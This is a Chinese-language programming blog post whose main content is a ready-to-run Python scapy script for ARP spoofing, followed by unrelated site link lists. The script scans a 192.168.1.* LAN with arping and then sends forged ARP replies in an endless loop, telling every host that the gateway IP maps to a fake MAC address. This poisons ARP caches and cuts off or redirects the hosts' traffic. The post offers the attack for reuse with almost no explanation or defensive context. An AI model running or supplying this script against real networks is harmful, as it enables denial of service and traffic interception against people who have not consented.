python使用arp欺骗伪造网关的方法


Posted in Python onApril 24, 2015

本文实例讲述了python使用arp欺骗伪造网关的方法。分享给大家供大家参考。具体实现方法如下:

#coding:utf-8
'''
arp欺骗局域网pc,将伪造的网关mac以网关的arp应答发送给pc
'''
from scapy.all import ARP,send,arping
import sys,re
stdout=sys.stdout
IPADDR="192.168.1.*"
gateway_ip='192.168.1.1'
#伪造网关mac地址
gateway_hw='00:11:22:33:44:55'
p=ARP(op = 2,hwsrc = gateway_hw,psrc = gateway_ip)
def arp_hack(ip,hw):
  #伪造来自网关的arp应答
  t=p
  t.hwdst=hw
  t.pdst=ip
  send(t)
def get_host():
  #得到在线主机的mac地址和对应ip地址 
  hw_ip = {}
  sys.stdout = open('host.info','w')
  arping(IPADDR)
  sys.stdout = stdout
  f = open('host.info','r')
  info = f.readlines()
  f.close
  del info[0]
  del info[0]
  for host in info :
    temp = re.split(r'\s+',host)
    hw_ip[temp[1]] = temp[2]
  return hw_ip
if __name__ == "__main__":
  hw_ip = get_host()
  while 1 :
    for i in hw_ip :
      arp_hack(hw=i,ip=hw_ip[i])

希望本文所述对大家的Python程序设计有所帮助。

Python 相关文章推荐
CentOS 7下Python 2.7升级至Python3.6.1的实战教程
Jul 06 Python
R语言 vs Python对比:数据分析哪家强?
Nov 17 Python
python调用系统ffmpeg实现视频截图、http发送
Mar 06 Python
Python Pandas找到缺失值的位置方法
Apr 12 Python
python traceback捕获并打印异常的方法
Aug 31 Python
python实现嵌套列表平铺的两种方法
Nov 08 Python
Python实现将多个空格换为一个空格.md的方法
Dec 20 Python
Python实现网站表单提交和模板
Jan 15 Python
在Python运行时动态查看进程内部信息的方法
Feb 22 Python
详解centos7+django+python3+mysql+阿里云部署项目全流程
Nov 15 Python
python二元表达式用法
Dec 04 Python
python中os包的用法
Jun 01 Python
python使用wxPython打开并播放wav文件的方法
Apr 24 #Python
python使用PyGame播放Midi和Mp3文件的方法
Apr 24 #Python
python使用PyGame绘制图像并保存为图片文件的方法
Apr 24 #Python
python使用PIL缩放网络图片并保存的方法
Apr 24 #Python
python使用Tkinter显示网络图片的方法
Apr 24 #Python
Python中最常用的操作列表的几种方法归纳
Apr 24 #Python
在Python中使用lambda高效操作列表的教程
Apr 24 #Python
You might like
使用PHP生成二维码的方法汇总
2015/07/22 PHP
php基于环形链表解决约瑟夫环问题示例
2017/11/07 PHP
PHP 应用容器化以及部署方法
2018/02/12 PHP
如何在centos8自定义目录安装php7.3
2019/11/28 PHP
jQuery中与toggleClass等价的程序段 以及未来学习的方向
2010/03/18 Javascript
基于JQuery的6个Tab选项卡插件
2010/09/03 Javascript
javascript从image转换为base64位编码的String
2014/07/29 Javascript
jQuery实现动态表单验证时文本框抖动效果完整实例
2015/08/21 Javascript
json的使用小结
2016/06/08 Javascript
AngularJS 中的Promise --- $q服务详解
2016/09/14 Javascript
详解最新vue-cli 2.9.1的webpack存在问题
2017/12/16 Javascript
详解使用jest对vue项目进行单元测试
2018/09/07 Javascript
JS把字符串格式的时间转换成几秒前、几分钟前、几小时前、几天前等格式
2019/07/10 Javascript
Python引用类型和值类型的区别与使用解析
2017/10/17 Python
Python语言实现将图片转化为html页面
2017/12/06 Python
Python找出最小的K个数实例代码
2018/01/04 Python
Python实现将数据框数据写入mongodb及mysql数据库的方法
2018/04/02 Python
Python使用combinations实现排列组合的方法
2018/11/13 Python
python实现对服务器脚本敏感信息的加密解密功能
2019/08/13 Python
python将字符串转变成dict格式的实现
2019/11/18 Python
Python中sys模块功能与用法实例详解
2020/02/26 Python
Python selenium抓取虎牙短视频代码实例
2020/03/02 Python
Python根据指定文件生成XML的方法
2020/06/29 Python
托管代码(Managed Code)和非托管代码(Unmanaged Code)有什么区别
2014/09/29 面试题
幼儿园长自我鉴定
2013/10/17 职场文书
后勤人员岗位职责
2013/12/17 职场文书
探亲邀请信范文
2014/01/30 职场文书
战友聚会主持词
2014/04/02 职场文书
《猴子种果树》教学反思
2014/04/26 职场文书
校园安全标语
2014/06/07 职场文书
2014年学习部工作总结
2014/11/12 职场文书
大学生个人学年总结
2015/02/15 职场文书
年终奖金发放管理制度,中小企业适用,拿去救急吧!
2019/07/12 职场文书
2019年幼儿园家长接送责任书
2019/10/29 职场文书
mysql 获取时间方式
2022/03/20 MySQL
Valheim服务器 Mod修改安装教程 【ValheimPlus】
2022/12/24 Servers